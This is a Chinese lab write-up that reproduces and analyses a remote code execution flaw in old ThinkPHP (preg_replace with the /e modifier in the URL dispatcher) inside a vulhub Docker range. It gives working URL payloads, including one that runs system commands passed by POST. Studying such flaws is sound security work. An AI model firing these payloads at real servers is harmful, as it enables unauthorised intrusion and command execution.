# 靶场搭建

使用 vulhub 中的 thinkphp 的 docker 环境

进入到目录中,直接 docker-compose -d

# 漏洞复现

http://192.168.1.100:8080/index.php?s=/index/index/xxx/${@phpinfo()}

得到 phpinfo

这样我们可以使用一句话,来实现 RCE

  • URL: http://192.168.1.100:8080/index.php?s=/index/index/xxx/${@eval(system($_POST[gddfeng]))}
  • POST: gddfeng=id

# 漏洞分析

靶场使用了 PHP Version 5.5.38 ,在 PHP7 之前的 PHP 中 preg_replace 函数支持 /e 修饰符

在早期版本的 PHP 中, preg_replace 函数可以使用 /e 修饰符,它表示替换字符串作为 PHP 代码来执行。这意味着,替换字符串会被当作 PHP 代码来执行,而不仅仅是普通的字符串替换。

也就是说,如果在正则中插入 PHP 代码的字符串,那么将会被执行。所以我们需要找到这个函数在具体的文件中位置,并研究参数是如何传递的。

查找包含 preg_replace 的文件

root@10140dae3462:/var/www/html# grep -irl "preg_replace"
Runtime/~runtime.php
ThinkPHP/Common/extend.php
ThinkPHP/Common/functions.php
ThinkPHP/Lib/Think/Util/HtmlCache.class.php
ThinkPHP/Lib/Think/Util/Dispatcher.class.php
ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
ThinkPHP/Lib/Think/Template/TagLib.class.php
ThinkPHP/Mode/Lite/Dispatcher.class.php
ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php

其中 ThinkPHP/Mode/Lite/Dispatcher.class.php 是我们要关注的

通过查看文件内容,发现这个 class 的功能

+------------------------------------------------------------------------------
* ThinkPHP内置的Dispatcher类
* 完成URL解析、路由和调度
+------------------------------------------------------------------------------

其关键代码:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
  $var[C('VAR_MODULE')]  =   array_shift($paths); // 获取模块名称
}
$var[C('VAR_ACTION')]  =   array_shift($paths); // 获取操作名称
// 解析剩余的 URL 参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); // 使用正则表达式解析 URL 参数并设置到 $var 数组中
$_GET   =  array_merge($var,$_GET); // 合并 $var 数组和 GET 数组

preg_replace 这一行的含义如下:

  1. @(\w+)'.depr.'([^'.depr.'/]+)@e 是正则表达式。在这里,@ 是正则表达式的分隔符,(\w+) 匹配一个或多个字母、数字或下划线(即单词字符),depr 是一个变量,然后是 ([^'.depr.'/]+) 匹配除了分隔符和斜杠之外的任意字符。@e 表示将替换字符串作为 PHP 代码执行。
  2. $var ['\1']="\2"; 是替换字符串。这里 \1 和 \2 是正则表达式捕获到的第一个和第二个子模式。这行代码的作用是将匹配到的字符串按照一定格式存储到 $var 数组中。如: A\B\C\D 会变成 array: [A]=>B,[C]=>D
  3. implode(depr,depr,paths) 是将数组 $paths 中的元素用 $depr 连接成一个字符串,作为 preg_replace 的目标字符串。

解析了 URL 中的路径,但在这里使用了 /e 修饰符,因此会执行 php 代码

thinkphp 是 MVC 架构的框架,所以路径的规则是这样的: /模块/控制器/操作/[参数名/参数值...]

因此我们随便写一个给一个模块,控制器和操作来绕过已经定义的路由规则。让 thinkphp 进入到负责解析的 Dispatcher.class 中,解析 URL 参数。在参数中填充 payload,即可实现 RCE

如: /模块/控制器/操作/phpinfo()

但需要注意的是,直接填入的字符串并没有被当做函数执行,而是被当做了参数。所以此时是无法触发的

因此需要用到 ${}

${} 是可以构造一个变量的, {} 写的是一般的字符,那么就会被当成变量,比如 ${a} 等价于 $a ,那如果 {} 写的是一个已知函数名称呢?那么这个函数就会被执行

除此之外还需要两个条件:

  1. 代码执行的位置必须是值的位置而不是键的位置
  2. 执行的字符串需要使用双引号闭合而不是单引号

因此我们就可以构造一个能够进行命令执行的 payload: URL/index.php/A/B/C/${phpinfo()}

参数作用
index.php模块、入口文件
A控制器
B操作
C
$值、payload

这样就会执行 phpinfo() ,实现 RCE